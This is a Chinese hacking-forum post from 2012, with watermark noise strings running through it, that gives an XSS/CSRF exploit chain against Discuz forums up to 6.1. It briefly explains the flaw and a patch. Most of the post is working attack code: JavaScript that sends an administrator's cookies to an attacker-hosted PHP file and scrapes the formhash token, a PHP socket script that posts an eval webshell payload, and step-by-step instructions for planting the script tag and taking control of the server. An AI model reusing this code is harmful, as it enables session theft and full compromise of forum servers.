找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 3689|回复: 0
打印 上一主题 下一主题

Discuz XSS得webshell

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-13 17:11:49 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Discuz XSS得webshell
. ]4 K7 z+ m- t. cBy racle @tian6.com, S' ^' |$ f; N+ V. S9 D
欢迎转帖.但请保留版权信息.
9 W5 {+ _' V8 p# G: L0 n; n受影响版本iscuz<=6.1.0,gbk+utf+big5
7 z  S  W, a5 N, ]
, M2 B: V! {0 w7 c3 z# G新增加完全JS利用版本,只有一个文件.ajax-racle.js.有效版本提升至DZ6.1(理论上7.0版本都可以,但是6.1以上版本都已经默认打上补丁),新增浏览器版本判断,对方浏览器为IE或FIREFOX都有效., r% }) x4 V" F  v
$ Z/ B: m; C3 i( g6 G9 `6 K& _! D

3 e! [9 c. U& G# o6 b2 |- l3天前有朋友在论坛问过,说Discuz有个非论坛创始人获得WEBSHELL的漏洞,是superhei早前发出来的一大堆DISCUZ漏洞之一.见原帖:http://bbs.tian6.com/redirect.ph ... 54794&ptid=8706
0 y" }4 r3 z  b  N, O  s) o当时我说一会就弄出来给大家,但是实际上一接触,发现这个漏洞本身需要管理员后台权限,要广泛普遍的利用还是很复杂的,主要是以下几个问题,所以拖到今天才基本完工.2 @/ N- u6 C" s" ~9 l5 J9 A* X
7 N( Z- `8 U8 {0 @5 [
分析和写EXP的过程中,得到t0by57,Superhei的大力帮助.他们PHP和JS都不错的哦!希望大家看这篇文章时,更注意分析和明白的过程,毕竟XSS是目前WEB安全的最大头戏.各种形式:XSIO,Cross Iframe Trick,crsf等等..6 N+ y& u# q* j7 m
本帖补充其中一个FLASH XSS应用方法:配合Discuz得shell-Flash XSS, X& _8 C; W, H* E
: l7 q: g6 E" Q$ {
# A  ^2 D* G4 I
----------------------------------------------------------前言分隔线------------------------------------------------------------------------------ K5 y# T+ K. ?) ^: }$ c+ K/ q
! T5 j5 \4 @% z5 S  T4 M, I

$ L% }9 E" ]/ U6 s; Sproblem1:漏洞页面runwizard.inc.php数据提交方式为post.需要模拟POST提交.
& r/ s5 N8 i- ?" A- Z5 O/ H/ p/ @- g9 \/ [
problem2ISCUZ论坛在数据提交的时候还验证了referer,因此还要伪造一下.php socket和js都可以伪造referer.
% T7 H* B. [( L7 q8 V; R  t+ k
. u/ h: u( T/ {1 [/ Lproblem3:formhash()函数采用了用户名+密码+XXX的算法得出,程序本身没办法模拟算出来,于是又耗费了我一段时间,最终想到个傻办法,从源代码里读出来.呵呵.这里是参考了superhei的一个旧EXP想出来的.: b: ^! i. ~/ h+ y. z
; F1 x+ T( W& N1 N& u8 j

3 e# M* D' K$ d6 [下面,我为大家简单说说这个漏洞的成因和补的办法.这里是有漏洞的文件代码:bbs/admin/runwizard.inc.php,里面有个函数function saverunwizardhistory() {5 {& R6 ^7 @. j

8 O6 T' O% _. f        global $runwizardfile, $runwizardhistory;  c5 c. o! E7 [0 i9 E
) j. i  }" k/ Y- p0 |4 ?
        $fp = fopen($runwizardfile, 'w');4 T* [$ Q" n" a- r) T: w
$ P7 S8 B, A3 a
        fwrite($fp, serialize($runwizardhistory));8 o. D- Z0 c5 t+ i7 x; h, g
5 z: l- t' j6 Y5 Q9 O: x2 z' p
        fclose($fp);
8 ~- T$ e3 f  \
3 U8 K" J* ~0 @) }9 U6 D' o}
0 L! }' S1 f) m: ]5 ~( [复制代码serialize($runwizardhistory)直接就写进$fp里.runwizardhistory是什么呢?是论坛一些基本的配置信息,譬如论坛名.反应在论坛后台,位置是:discuz.com/bbs/admincp.php?action=runwizard&step=2.论坛名称,地址等三项信息都没任何过滤.该三项内容任何一项都可以直接写入一句话,提交,然后保存在缓存:bbs/forumdata/logs/runwizardlog.php里.8 v4 T2 O+ a# K
以下是修补的办法:function saverunwizardhistory() {
6 Y/ v5 P. L: n8 X5 R" U4 H8 r; A' e& [' n& k
        global $runwizardfile, $runwizardhistory;5 V( U8 E0 c3 a/ O; ^* T
0 I7 G/ D: J1 V& }5 j( E# j
        $fp = fopen($runwizardfile, 'w');+ {7 T0 b. O: k/ M
2 ]5 y( l9 L' S/ k6 j4 m/ ~
        $s = '<?php exit;?>';
4 x* e9 {6 \; ?8 Q% _( x4 q' X) v' f7 a* |$ ?0 e
        $s .= serialize($runwizardhistory);( E4 B. R1 c- }/ i
. V4 L) p" X1 q3 [  i
        fwrite($fp, $s);
/ d. f$ O  N* f8 J& o. L2 K/ X$ P0 x+ E3 x
        fclose($fp);/ P  K" M# Q: z

, D& i+ J3 K! v' F0 `, m' U}0 d+ m2 z! G& I! D( @
复制代码加写 '<?php exit;?>';到最前面,退出并且忽略该文件后面所有PHP代码.这么即使里面有一句话,也不能再被执行.
6 @3 S; V3 }" B: M' k! c4 g: a  i
" X8 y3 b1 n; c% v) d# u
+ }' G; S  Y( L$ j7 V& P9 f* C8 B3 j+ s
----------------------------------------漏洞的成因和利用方法分隔线-----------------------------------------------------------------------------
% V1 Z* \8 W* {1 {. ?4 g
: p$ o' Q, V; f$ A8 l3 r& Z" k: h
  以上是该漏洞的成因和利用方法.大家看到这里,估计也认为这是个鸡肋漏洞了吧,首先要有管理员权限,有后台权限,然后才能上WEBSHELL,实话说,有后台权限,拿SHELL的办法也并不止这一个.所以这个洞的价值,看起来就不大了.当然,这个已经被发布的nday不是我本帖要讲的重点.这里我主要是想告诉大家,将XSS,Crsf和本漏洞联合起来的办法.这样该洞价值就大很多了.
- I. P" z, u2 y3 Q) ^
# S6 u3 C1 X" |% t, V8 [; ~我们的思路是:论坛上有个xss点,Crsf flash(的确有,Discuz! member.php xss bug,Discuz! 数据库错误信息xss bug,Discuz! flash Crsf bug,Discuz! admincp.php xss bug,Discuz![flash] xss bug),管理员点击或浏览后,就执行了我们的JS,带他到外部一个JS中,通过JS获得他的COOKIES,获得他的HASH,然后经过外部一个PHP封装SOCKET以POST的形式提交前面说的动作,如果论坛没有补上该问题(目前没几个论坛补了.当然,天阳已经补了.^^),那么就会产生bbs/forumdata/logs/runwizardlog.php这个WEBSHELL.
* [5 B$ v& |% I& O: g6 V
) ?0 j' o( }! D$ S4 e" _这篇文章主要不是给大家个EXP,然后让大家拿着到处乱黑的,主要是讲方法,讲思路.因为这里学问不少.
3 f  x& P* J! i2 F2 y( v  i7 }) m) T# U4 y; o9 s4 m. Y. d8 w# `
首先我们要看,怎么通过JS,获得管理员COOKIES,然后把COOKIES传递给最终提交的PHP.获得的办法相信大家都知道,但是传递的办法,譬如以图片形式传递,就非常稳定和实用.是实现AJAX本地语言到服务器语言PHP的好办法.JS部分代码:
* N/ D( t8 ]6 {+ }' |8 z. F, m' |+ f" k  f3 E& k: j4 q8 V2 U
var url="http://目标网站/admincp.php";      : T9 U7 k3 J9 J0 s4 {" u5 ^  ?; ^

  S. D- s2 A( @* q" p/ ^/*获得cookies*/
: Z. |) p% H( P* [3 ?$ h& ?" z; ~; _1 p
function getURL(s) {
9 g  A5 P# J6 C5 T7 p
6 ]) S7 P* q1 gvar image = new Image();0 S7 G' j$ C3 q# \+ O
+ Y; b- Z' ]! }
image.style.width = 0;
# R  r% Y+ y( n% U% R* n1 J* H. U. p& a# s) r8 E
image.style.height = 0;) x$ }8 n$ L. e7 J! x; ^: p9 A: x. ]4 c

2 G0 H3 ~- @% @+ z4 _7 f. ximage.src = s;' y+ X, B/ W) [& R0 K
' L" l3 b3 N' i
}! S) u6 d2 ^2 Q+ v
# N+ z$ p* J0 X# z
getURL("我们做好的接收cookies的.php?x="+encodeURIComponent(document.cookie));  //这里就通过image变量传给了php
3 Y' [" `8 T6 }$ y+ f复制代码php以get方式接收过来的变量.$cookies=$_GET['x'];
2 z  e5 @! N% S8 G2 x1 H: J; P复制代码同理,hash我也是这么传到PHP里.不过HASH的获得方法也是很有意思的,众所周知,discuz有formhash来保护每个授权访问的唯一性.但是你也可以发现,在论坛页面用户退出的地方,引用了这个hash.我们要做的,就是从页面的源文件里搜索出hash,筛选出来,传递给PHP即可.筛选的办法很多,你有兴趣的话,可以看看我的筛选JS代码(而且这里discuz其实还留了一手,呵呵) 9 ]  `* t$ q8 S- p/ t0 j' R% \3 m
; ]4 z4 z1 ]6 @: K4 p& p

+ d/ q0 f7 R2 l$ `6 r% H4 A( q/ a获得了cookies和hash以后,我们需要结合完整数据,做一次模拟提交,大家可以看看,这个是我之前写好的AJAX提交方式:var url="http://tian6.com/raclebbs/";
. ^+ S" c9 i* b' `. }2 {
( _+ u! }' C: _( b4 |! T- T( S4 o& y: X/ D" O+ c" l
* x1 h1 W; ?; K0 P; T% y- L
/*hash*/
3 S9 Z' f) u% a6 l, v1 I7 h6 g
+ Q3 L$ t$ O. e5 W  S, @var xmlHttpReq = new ActiveXObject("MSXML2.XMLHTTP.3.0");9 u% M; ~( N) w* l! o/ @

  D( D: U  U" C% [8 N, s' R1 E3 FxmlHttpReq.open("GET", url+"admincp.php?action=home", false);6 U# h3 R' b1 h' Q0 n% y, e

: e; |4 C# E4 k- b' xxmlHttpReq.send();
$ G5 u+ I3 ^0 N+ q
: z; v! H( y2 z- tvar resource = xmlHttpReq.responseText;6 c0 s2 a" K% |* D1 W& ^

1 I1 }, r2 f' a8 M" tvar numero = resource.search(/formhash/);
( w, \3 ^# k0 o/ p" B4 k3 ^$ E3 W) k  U. c
var formhash=encodeURIComponent(resource.substr(numero+17,8));* p8 d$ B( S0 ^

# ^8 z( W% I* b5 M4 c
& e+ Q8 O1 ?& y) z
3 w, H2 ^3 j9 y( {' Rvar post="formhash="+formhash+"&anchor=&settingsnew%5Bbbname%5D=1&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5";//构造要携带的数据
% A: }+ P1 \$ ]# M' a" h" U& q6 N3 Y* U
xmlHttpReq.open("OST",url+"admincp.php?action=runwizard&step=3",false);//使用POST方法打开一个到服务器的连接,以异步方式通信 # _" D; S, A4 X. x6 `* D
, O9 X; g* U5 ?$ r/ L
xmlHttpReq.setRequestHeader("Referer", url);
6 ^4 Z3 _( Q' u9 h$ P: ^3 w! s3 O3 C2 r0 W4 C, r- R
xmlHttpReq.setrequestheader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");2 ?! p6 f) N7 o  _7 i% Z# O' Y- G

9 Q) x, T0 U2 g  e9 h0 KxmlHttpReq.setrequestheader("content-length",post.length); ; j. @4 i# A9 w. x
  N5 m6 o9 o6 a, B
xmlHttpReq.setrequestheader("content-type","application/x-www-form-urlencoded");
8 @# U( n& Z' z3 Q7 a  m/ p' T# n
xmlHttpReq.send(post);//发送数据  H4 D9 G, F5 N, v) k2 s" E
复制代码这里HASH我假设正确,这样提交,也无须cookies
$ I' Y9 E% i+ D5 E3 Y% }& s0 ]$ L' p* c, n! U8 m2 e
再看看以PHP SOCKET形式提交.$sock = fsockopen("$url", 80, $errno, $errstr, 30);+ C. ^& v+ q1 M

7 R" G" ]- i3 w3 L$ A! ^3 `7 ^! hif (!$sock) die("$errstr ($errno)\n");
8 f$ y1 n  v' w0 p+ k8 O" g# \- o* H9 [
$data = 'formhash='.$hash.'&anchor=&settingsnew%5Bbbname%5D=Discuz&settingsnew%5Bsitename%5D=<%3Fphp+eval(%24_POST[racle])%3F>racle%40tian6.com&settingsnew%5Bsiteurl%5D=http%3A%2F%2Fwww.comsenz.com%2F&step2submit=%E4%B8%8B%E4%B8%80%E6%AD%A5';) Q1 c* W4 }- }$ x7 o

. h0 @4 }) j. e6 Q1 X* k6 J: @  `
4 F. s! q( L; e& ]
$ {" |  b6 {& F6 Efwrite($sock, "OST http://$url/admincp.php?action=runwizard&step=3 HTTP/1.1\r\n");
, R- l  ]0 T  H* F6 r9 Y' ~6 U$ B4 I
fwrite($sock, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*\r\n");
3 H& O* |, A2 N+ y" L5 x
3 D, y1 B: S" V5 afwrite($sock, "Referer: http://$url/admincp.php?action=runwizard&step=2\r\n");
6 E. _2 v0 M9 I( [1 U4 o2 ]! Q$ o9 I0 p5 b4 Y" l9 I
fwrite($sock, "Accept-Language: zh-cn\r\n");! q$ H9 `; l+ K: v. B- T  y

' O' ]7 P. q" Mfwrite($sock, "Content-Type: application/x-www-form-urlencoded\r\n");. Z6 q! ~% d' X* y
- V* n5 D. t# a3 k& U
fwrite($sock, "Accept-Encoding: gzip, deflate\r\n");- U- B0 U; k+ G5 o

. ^, @/ y8 a2 y1 W: M" l5 Ufwrite($sock, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) ; User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; http://bsalsa.com) (Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)); .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n");
8 C; U8 ]* N# q  y; V8 y3 {! x% Y# X- t' L
fwrite($sock, "Host: $url\r\n");
2 `) b. A3 X: N, h4 ?/ U7 d
+ D: s* D- O' c& V, Ofwrite($sock, "Content-Length: ".strlen($data)."\r\n");9 B# o* Y6 |: Z- w

7 V3 r2 @; ?0 x- h/ I9 y& dfwrite($sock, "Connection: Keep-Alive\r\n");
+ P* f/ D6 n% B) e5 A: f
  Z5 t5 j( \( Y" u8 [6 _fwrite($sock, "Cache-Control: no-cache\r\n");
7 O' w$ C5 k' j8 t3 z
3 Y  f4 z9 e4 \+ Mfwrite($sock, "Cookie:".$cookies."\r\n\r\n");
( Y1 i3 C) _' ?- u" m. i3 f# N% E3 z! v+ y8 j2 d. s$ n$ P
fwrite($sock, $data);* g, H  z, K8 J( V- `. n0 ]: x

- S- A; M7 l* w
# P' t2 f$ u" J2 o7 ^  M" K7 Y+ r7 x
7 \1 C5 b2 f+ j9 T$headers = "";
. s3 Q: C0 f0 |0 z4 A- w
3 ~" `: T+ T4 U% Y7 O% o. Twhile ($str = trim(fgets($sock, 4096)))
. m. Y6 \* h6 P8 w% \
* D6 m8 J- X5 F* h; ?     $headers .= "$str\n";
' a) c& |$ c, V9 x& z: x% E+ O2 N8 F
echo "\n";3 I5 p( G8 B  l' S" _

( @$ w5 H- I2 F/ [9 D5 }8 ?$body = "";
1 ]. X! K" S" g( c7 ~
5 ]8 b: J/ B, f; \4 |& b$ K& W# Dwhile (!feof($sock))' x) i$ U4 q3 A2 X6 G& \( H

2 V& U# N6 |- p0 ^0 W     $body .= fgets($sock, 4096);- Q# M2 V4 Z1 N+ q

' L5 w4 Z+ T  cfclose($sock);' d4 g- C  y2 \- V

6 E* o- Q1 R# `# ^* Zecho $body;
2 I, r/ `( M6 ?0 S4 I/ d复制代码整个漏洞XSS应用大致如此,下面附上JS文件,PHP封装好的提交文件.利用文件限制一下,已注册用户才可以下载,刚来也没关系,仔细看看前面的分析,你也差不多能写出来.^^
2 M0 s/ S9 T+ R' z8 L/ S
# i4 x+ ?( Q" S7 _- p4 }3 K/ r% l& B$ o! U) y' i
-------------------------------------------XSS文件分析分隔线-----------------------------------------------------------------------------
, `) A, N8 |$ y' O  C: Y# A" }  ~* d, f" H; M

" D1 \: \% z6 c; `3 _  D. B6 ?1 ~. Q5 Q1HP SOCKET利用方法首先打开racle.js
, H" W) ^8 y+ ?. k8 K: K6 o9 r6 {# C8 K$ O! M/ ]$ O
var url="http://tian6.com/raclebbs/admincp.php?action=home"; //改成你要XSS攻击的目标,譬如http://www.discuz.com/admincp.php?action=home% y+ x5 Z6 B8 [: ]! O# F% |
& w- [6 s$ u- ^) O8 D2 G
  U' g2 g, u4 d& N0 R' j* K
7 D6 p8 U4 o9 q, Q8 S
然后打开racle@tian6.php
1 y2 r: a$ U9 q/ k; K& O5 V6 ?& A3 v" h/ p
$url="racle@tian6.com";   //改成你要XSS攻击的目标,譬如www.discuz.com% |: ^, K. @' E5 Y

" ~3 T( S3 G. N6 l4 g  \
  }; Q5 M" u' t/ K1 x" `( ?+ I6 B1 [
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:  a: N% p* w& m  Q' V
5 b' H+ D* M8 j7 K! h! \9 h
getURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+17,8))+"&x="+encodeURIComponent(document.cookie));8 \% p) B" T  w5 |' Q" B* I
3 N* d7 N* Q  m9 z% ]

6 [  `4 [4 q9 L0 \) u: p
% G' J- }; l  G( w+ XgetURL("racle@tian6.php?resource_hash="+encodeURIComponent(resource.substr(numero+9,8))+"&x="+encodeURIComponent(document.cookie));7 l+ F3 P- I* g) ^
复制代码2:JS利用方法打开ajax-racle.js,修改var url="http://tian6.com/raclebbs/";为你要攻击的论坛地址.3 Q! y3 {% S7 v  H, w3 R
' ?, V. |7 b% b7 }$ Y9 d
' H4 N5 g' _  E1 X* B
; @% ^3 r( v1 j
如果目标论坛为6.1版本,无须再改动.如果目标为6.0或以下版本,请修改:
3 E. H; B3 n3 p3 c7 k% K" C9 M# |  F$ l$ g/ ?; [3 r$ S
var formhash=encodeURIComponent(resource.substr(numero+17,8));
% ^  ]) F0 F3 k. A% y' @
" E" S% p5 E6 ~- e
: D- E7 d0 w$ x7 @& q- D) X% M5 x" G( [1 t4 Z
var formhash=encodeURIComponent(resource.substr(numero+9,8));: ?; J. T! J8 q+ O( E
复制代码ok.以上两种方法则其一.在攻击前,我们应该先看看论坛打上补丁没有,你可以尝试访问:http://target.com/bbs/forumdata/logs/runwizardlog.php,如果一片空白,那就没戏咯.不是空白就会有些论坛信息出现,但也不代表就肯定存在漏洞,因为可能人家补过之后没有更新过论坛信息而已.目前来说,有8成把握吧.
  Q& l3 C" F* v& v5 U  a( ^, ^6 \3 x8 \  R8 f
如果是第一种方法,就把racle.js,还有racle@tian6.php文件上传到一个可以执行PHP的地方,譬如你以前拿下的WEBSHELL里.两个文件需在同一目录下.记得该空间要支持PHP.然后在论坛以<script src=http://你放好的地方/racle.js></script>构造好XSS点.- X5 ~- Q. W" y) r) \. J/ [! D

! \3 \- q+ `. X* h4 ]" [* ^% }+ F9 Q如果是第二种方法,就把ajax-racle.js,上传到一个你以前拿下的WEBSHELL里,然后在论坛以<script src=http://你放好的地方/ajax-racle.js></script>构造好XSS点.
; i$ c7 F% X8 G' i5 c
8 q# y* _- w& s' x不管你用什么方法,等到管理员一点该连接或者浏览一下论坛,他论坛bbs/forumdata/logs/runwizardlog.php里就多了个<?php eval($_POST[racle])?> ^^.赶紧拿控制端连上去吧.
; U- p* V' x' T* n 6 n" Z" N. i! n( y' O% ?& O
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表